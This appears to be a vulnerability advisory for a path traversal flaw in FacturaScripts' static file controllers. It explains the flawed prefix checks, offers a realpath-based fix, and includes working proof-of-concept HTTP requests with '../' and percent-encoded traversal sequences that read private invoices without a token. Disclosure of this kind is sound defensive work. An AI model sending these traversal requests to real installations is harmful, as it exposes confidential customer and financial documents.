FacturaScripts: Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents

isFolderSafe() only inspects the URL string:

public static function isFolderSafe(string $filePath): bool
{
    $safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles/Public'];
    foreach ($safeFolders as $folder) {
        if ('/' . $folder === substr($filePath, 0, 1 + strlen($folder))) {
            return true;
        }
    }
    return false;
}

For a request like /Plugins/../MyFiles/Private/invoice-2026-001.pdf, substr($url, 0, 8) equals /Plugins, so isFolderSafe() returns true. The filesystem layer then resolves the .. segment when is_file() runs, so the actual file opened is /MyFiles/Private/invoice-2026-001.pdf. isFileSafe() only checks the trailing extension, which is pdf and on the allow-list, so the file is served.

Path 2, in Core/Controller/Myfiles.php

The dedicated MyFiles handler resolves the path with urldecode() and reproduces the same prefix-based logic to decide whether the per-file myft token is required:

$this->filePath = Tools::folder() . urldecode($url);

if (false === is_file($this->filePath)) {
    throw new KernelException('FileNotFound', ...);
}
if (false === $this->isFileSafe($this->filePath)) {
    throw new KernelException('UnsafeFile', $url);
}

// if the folder is MyFiles/Public, then we don't need to check the token
if (strpos($url, '/MyFiles/Public/') === 0) {
    return;
}

$fixedFilePath = substr(urldecode($url), 1);
$token = filter_input(INPUT_GET, 'myft');
if (empty($token) || false === MyFilesToken::validate($fixedFilePath, $token)) {
    throw new KernelException('MyfilesTokenError', $fixedFilePath);
}

A request to /MyFiles/Public/../Private/invoice-2026-001.pdf satisfies strpos($url, '/MyFiles/Public/') === 0, so the controller returns early and skips myft token validation. The .. segment is then resolved by is_file() and readfile() against the real filesystem path inside MyFiles/Private/.

This second path is only exploitable when a MyFiles/Public/ directory exists on disk, which is the case in any installation that has ever published a public asset (company logo, theme file, plugin static resource).

Why this is not the documented "Public folder" behaviour

MyFiles/Public/ is intentionally tokenless for assets that live inside it, and that part is by design. The behaviour shown here is different: the URL appears to point at MyFiles/Public/... but the file ultimately returned lives in MyFiles/Private/. The same file (MyFiles/Private/invoice-2026-001.pdf) is returned with HTTP 403 (Invalid token) when requested directly, and HTTP 200 with the file body when requested through the traversal sequence. The access decision is not consistent with the actual file location, which is the textbook definition of a path traversal flaw.

PoC

The PoC uses one sample invoice planted at MyFiles/Private/invoice-2026-001-ACME.pdf (215 bytes) on a fresh install:

%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data

Step 1, control. Direct access without a token is blocked:

GET /MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088

HTTP/1.1 403 Forbidden
<title>Invalid token.</title>
<p>The access token for the file MyFiles/Private/invoice-2026-001-ACME.pdf is invalid or has expired</p>

Step 2, exploit via /Plugins/*. This is the no-precondition path:

GET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088

HTTP/1.1 200 OK
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data

The same file that returned 403 in Step 1 is now returned without authentication. /Core/Assets/* and /Dinamic/Assets/* behave the same way against the same controller; /Plugins/* is used here because the folder is guaranteed to exist.

Step 3, exploit via /MyFiles/Public/*. This path also bypasses the myft token check:

GET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088

HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000, immutable
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC
...

A quick check shows that several encoding variants of .. also work: %2e%2e, %2E%2E, .%2e, ///../. The flaw lives in the prefix check, not in any specific Apache normalization.

The file is confirmed present on disk:

Affected request paths

Impact

In a real ERP deployment this exposes the documents that the application is specifically designed to keep behind a per-file token:

• Customer and supplier invoices stored under MyFiles/Private/
• Document attachments uploaded through WidgetFile and DocFilesTrait (MyFiles/<filename>)
• Database backups exported with .sql
• Cached or temporary business data under MyFiles/Cache/ and MyFiles/Tmp/

.php files are not on the extension allow-list, so the flaw does not lead to remote code execution. Files outside the FacturaScripts installation are rejected by Apache's URI normalization (AH10244 invalid URI path), so the leak is bounded to the application directory tree.

Suggested Fix

Both controllers should resolve the requested path to its canonical form with realpath() and verify that the canonical path is inside an allow-listed directory before serving the file or skipping the token check. Example for Files::__construct:

$this->filePath = Tools::folder() . $url;

if (false === is_file($this->filePath)) {
    throw new KernelException('FileNotFound', ...);
}

$realPath = realpath($this->filePath);
$base = realpath(Tools::folder());
if ($realPath === false || strpos($realPath, $base . DIRECTORY_SEPARATOR) !== 0) {
    throw new KernelException('UnsafeFolder', $url);
}

$safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles' . DIRECTORY_SEPARATOR . 'Public'];
$relative = substr($realPath, strlen($base) + 1);
$allowed = false;
foreach ($safeFolders as $folder) {
    if (strpos($relative, $folder . DIRECTORY_SEPARATOR) === 0) {
        $allowed = true;
        break;
    }
}
if (!$allowed) {
    throw new KernelException('UnsafeFolder', $url);
}

The same pattern applies to Myfiles::__construct: compare the canonical resolved path against realpath(Tools::folder() . '/MyFiles/Public') before skipping the myft token check.

Affected Versions

Confirmed on the current master branch (commit de01369) and on the latest tagged release (v2026.2).